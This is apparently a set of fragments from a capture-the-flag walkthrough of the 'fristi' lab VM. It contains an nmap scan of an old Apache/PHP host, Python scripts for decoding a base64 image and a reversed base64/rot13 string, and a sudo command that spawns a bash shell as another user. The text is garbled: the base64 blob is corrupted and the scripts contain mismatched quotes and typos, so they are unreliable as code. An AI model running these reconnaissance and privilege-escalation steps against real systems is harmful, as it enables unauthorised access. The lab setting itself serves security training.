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PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

| http-methods:

| _ Potentially risky methods: TRACE

| http-robots.txt: 3 disallowed entries

| _/cola /sisi /beer

| _http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

| _http-title: Site doesn't have a title (text/html; charset=UTF-8).

MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Linux 2.6.X|3.X

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linuxlinux_kernel:3

OS details: Linux2.6.32 - 3.10, Linux 2.6.32 - 3.13

Network Distance: 1 hop
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import os

import base64

s=""IVBORWOKGgoAAAANSUhEUgAAAWOAAABL CAIAAAAD4UHgAAAAAXNSROIArs4c6 QAAAARNQU1BAACX
jwv8YQUAAAAJCERZcwAADsMAAA7 DAcdvgGQAAARSSURBVHNhe7dIRdtsgEIVhr8sL8ngymmwmiOkl
S0IAQGYONbO1//[dWSQyTgdxz2t5+ AcCHHAHgRY4A8CJHAHIRIwC8yBEAXUQIACOyBIAXOQLAixw
B4EWOAPAIRWB4kSMAVMgRAF7kCAAvcgSAFzkCwliscAeBFjgDwlkcAeJEjALZIEQBeSAgALSke+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPI+zJ053b9+1gd/0TL2Wull5+RMpJg5tMTKE1paHIVXJJ
Zv7/d5i6gse0torWabUMsR1+WrORI72DbdWKqgZS0tMPqGI8LRhzyWjWKT FDPXFmulC7e81bxnNOvb
DpYzOMN1WqgpILSO0w+oaXwomXXtfhL8e6W+IrNdDFujoQNJIXbKtHMpSUmMn9BSeGf51bUcr6W+VjNd
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12gmC/1/Zz2Z\WXi1abliOaLqjZdq5sqSxUgtWY7syq+u6UpINdOFelSENygbTfi+gDbc+QpG9Och
uvFQzV5aM15LIyMrfnrPU12gmC+Ucqd+g6E1JNsX16/i/6BtvwwEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSZz9EQYbzbl/F SycgVSzZiXDNmS4cjCni+kLRnqizXThUgOhEkso2k5pGy00alq
i1n+skSqGfOSIVsKC52v4+XH36vQzbl0VOt9rWb6EMyRaLLp+Bbhy31k8SBbjgpUNSHVJHXJmC2Fg
tOHOdrysrz404sdLPW1mulDLUdSpdEsk5vi5Gtqg1xnfX88tu/PZy7VjHXJmC21H9IWvBBfdZb6Ws
300Z0jk3y+pQIfNEG4INOco9UnY5dgxrhk0JZKezwdNwqgfnv6 AOUN9sWbBUMyR5ZT 2B+lwDh++F|
3K/U+z22uFJNWNcMmhLzUe2v6n/dAWG+mLNIKGWISEcKsMJI606+ecH8dvOUu4PnkgDI2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLUSTgF 7fYU7tgsn/4+zfthV6BaiilsczZlGrGvGT lisLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW10XNB3Z/vBMWUuISTY Im+hDLKcIAtuHEUZzu/I91867 X34
rPtAGImLI0ZrgX6gu37alukRkVaylRfgpk+9HNkH85hNocT KC4P31Vebhd8fy/VzOT CkqeBWIrrFhe
EPdMjO3SSys7XVF+gmT5UcmT 9+Ss//fyyOLU3kWoGLd59ZKb6Us 10IZMjAP5b5AgAL 3IEgBc5AsCLH
AHgRY4A8CJHAHIRIwC8yBEAXUQIAC9yBIAXOQLAIxwB4EWOAPAIRWB4kSMAVMgRAF7kCAAvcgSAFZk
CwiscAeBFjgDwlkcAeJEjALZIEQBe5AgAL 3IEgBcSAsCLHAHgRY4A8PN9/QNa7zk1qtycQAAAABJIR
USErkJggg==""

imagedata=base64.b64decode(s)

file=open("1.png","wb")

file.write(imagedata)

file.close()
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import base64,codecs,sys

def encodeString(str):



... baseb4string= base64.b64encode(str)
... return codecs.encode(base64string[::-1], 'rot13")
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def decodestring(str):
... tmp=codecs.decode(str[::-1],'rot13")
... return base64.b64decode(tmp)
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sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
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